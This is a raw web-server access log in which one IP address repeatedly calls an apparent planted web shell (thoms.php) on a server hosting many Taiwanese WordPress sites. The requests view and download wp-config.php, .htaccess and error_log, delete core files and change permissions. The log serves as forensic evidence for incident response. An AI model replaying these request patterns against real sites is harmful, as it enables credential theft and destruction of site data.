45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?del=upgrade&p=bodbooks.com.tw HTTP/1.1" 200 17560 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=index.php HTTP/1.1" 200 12058 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?del=wp-blog-header.php&p=bodbooks.com.tw HTTP/1.1" 200 17559 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=wp-settings.php HTTP/1.1" 200 19462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?dl=wp-config.php&p=bodbooks.com.tw HTTP/1.1" 200 17560 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?chmod=wp-signup.php&p=bodbooks.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-includes&p= HTTP/1.1" 200 12191 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Findex.php&p=bodbooks.com.tw HTTP/1.1" 200 11493 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=wp-config.php HTTP/1.1" 200 13717 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?del=wp-links-opml.php&p=bodbooks.com.tw HTTP/1.1" 200 17560 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-blog-header.php&p=bodbooks.com.tw HTTP/1.1" 200 11505 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2F.htaccess&p=bodbooks.com.tw HTTP/1.1" 200 11491 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?del=wp-content&p=bodbooks.com.tw HTTP/1.1" 200 17519 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?del=wp-comments-post.php&p=bodbooks.com.tw HTTP/1.1" 200 17559 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?dl=wp-cron.php&p=bodbooks.com.tw HTTP/1.1" 200 17560 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fcgi-bin&p= HTTP/1.1" 200 12201 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-config.php&p=bodbooks.com.tw HTTP/1.1" 200 11495 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=wp-trackback.php HTTP/1.1" 200 14088 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?del=wp-login.php&p=bodbooks.com.tw HTTP/1.1" 200 17561 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=bodbooks.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?dl=wp-trackback.php&p=bodbooks.com.tw HTTP/1.1" 200 17560 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?chmod=wp-admin&p=bodbooks.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?chmod=wp-config.php&p=bodbooks.com.tw HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?del=.htaccess&p=bodbooks.com.tw HTTP/1.1" 200 17559 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=bodbooks.com.tw HTTP/1.1" 200 17562 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=mah.php HTTP/1.1" 200 11812 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-config-sample.php&p=bodbooks.com.tw HTTP/1.1" 200 11519 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:18 -0400] "GET /thoms.php?chmod=wp-cron.php&p=bodbooks.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?copy=wp-content&p=bodbooks.com.tw HTTP/1.1" 200 11496 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?copy=wp-content&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11469 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?copy=wp-content&p=besth2o.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?copy=wp-content&p=bfl.com.tw HTTP/1.1" 200 11473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?copy=wp-content&p=biotaiwan.com.tw HTTP/1.1" 200 11464 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?copy=wp-content&p=cgi-bin HTTP/1.1" 200 11310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?copy=wp-content&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?copy=wp-content&finish=1&move=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?copy=wp-content&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?copy=wp-content&p=beauty-dental.com.tw HTTP/1.1" 200 11458 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21273 "https://163.245.207.76/thoms.php?copy=wp-content&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21280 "https://163.245.207.76/thoms.php?copy=wp-content&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21273 "https://163.245.207.76/thoms.php?copy=wp-content&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?copy=wp-content&p=bioway88.com.tw HTTP/1.1" 200 11489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?copy=wp-content&p=booking-wise2.com.tw HTTP/1.1" 200 11416 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?copy=wp-content&p=bossini.com.tw HTTP/1.1" 200 11449 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?copy=wp-content&p=upgrade HTTP/1.1" 200 11350 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?copy=wp-content&p=bestzyx.com.tw HTTP/1.1" 200 11452 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?copy=wp-content&p=bft.com.tw HTTP/1.1" 200 11420 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?copy=wp-content&p=wp-content HTTP/1.1" 200 11358 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?copy=wp-content&p=betcity.com.tw HTTP/1.1" 200 11453 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?copy=wp-content&p=big-wife.com.tw HTTP/1.1" 200 11414 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?copy=wp-content&finish=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?copy=wp-content&p=broadweb.com.tw HTTP/1.1" 200 11461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?copy=wp-content&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11390 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?copy=wp-content&p=bestjudy.com.tw HTTP/1.1" 200 11445 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21326 "https://163.245.207.76/thoms.php?copy=wp-content&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?copy=wp-content&p=bogroup.com.tw HTTP/1.1" 200 11445 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?chmod=upgrade&p=bogroup.com.tw HTTP/1.1" 200 11474 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fwp-content HTTP/1.1" 200 13619 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-content&p= HTTP/1.1" 200 12202 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?p=bogroup.com.tw&view=wp-activate.php HTTP/1.1" 200 14809 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?del=wp-content&p=bogroup.com.tw HTTP/1.1" 200 17359 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?dl=wp-activate.php&p=bogroup.com.tw HTTP/1.1" 200 17361 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?p=bogroup.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12035 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-cron.php&p=bogroup.com.tw HTTP/1.1" 200 11423 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?p=bogroup.com.tw&view=wp-settings.php HTTP/1.1" 200 19462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:19 -0400] "GET /thoms.php?p=bogroup.com.tw&view=wp-signup.php HTTP/1.1" 200 22503 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?p=bogroup.com.tw&view=xmlrpc.php HTTP/1.1" 200 13359 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?chmod=wp-includes&p=bogroup.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-blog-header.php&p=bogroup.com.tw HTTP/1.1" 200 11427 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-comments-post.php&p=bogroup.com.tw HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?dl=wp-config.php&p=bogroup.com.tw HTTP/1.1" 200 17362 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?dl=index.php&p=bogroup.com.tw HTTP/1.1" 200 17361 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?p=bogroup.com.tw&view=wp-config.php HTTP/1.1" 200 13709 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?chmod=wp-settings.php&p=bogroup.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fcatalog-build&p= HTTP/1.1" 200 12221 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?del=wp-trackback.php&p=bogroup.com.tw HTTP/1.1" 200 17361 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?dl=readme.html&p=bogroup.com.tw HTTP/1.1" 200 17350 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?del=wp-config.php&p=bogroup.com.tw HTTP/1.1" 200 17341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?p=bogroup.com.tw%2F.well-known HTTP/1.1" 200 12588 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?del=wp-links-opml.php&p=bogroup.com.tw HTTP/1.1" 200 17360 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-admin&p= HTTP/1.1" 200 12199 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Flocoy.php&p=bogroup.com.tw HTTP/1.1" 200 11459 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-login.php&p=bogroup.com.tw HTTP/1.1" 200 11458 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?dl=wp-trackback.php&p=bogroup.com.tw HTTP/1.1" 200 17361 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=bogroup.com.tw HTTP/1.1" 200 11485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?dl=error_log&p=bogroup.com.tw HTTP/1.1" 200 17362 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?chmod=wp-config.php&p=bogroup.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?p=bogroup.com.tw&view=wp-cron.php HTTP/1.1" 200 14181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fcatalog-build HTTP/1.1" 200 13270 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?dl=license.txt&p=bogroup.com.tw HTTP/1.1" 200 17361 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?dl=wp-login.php&p=bogroup.com.tw HTTP/1.1" 200 17360 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=bogroup.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?p=bogroup.com.tw&view=.htaccess HTTP/1.1" 200 12720 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?copy=bogroup.com.tw%2F.well-known&p= HTTP/1.1" 200 12203 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:20 -0400] "GET /thoms.php?p=bogroup.com.tw&view=readme.html HTTP/1.1" 200 15228 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
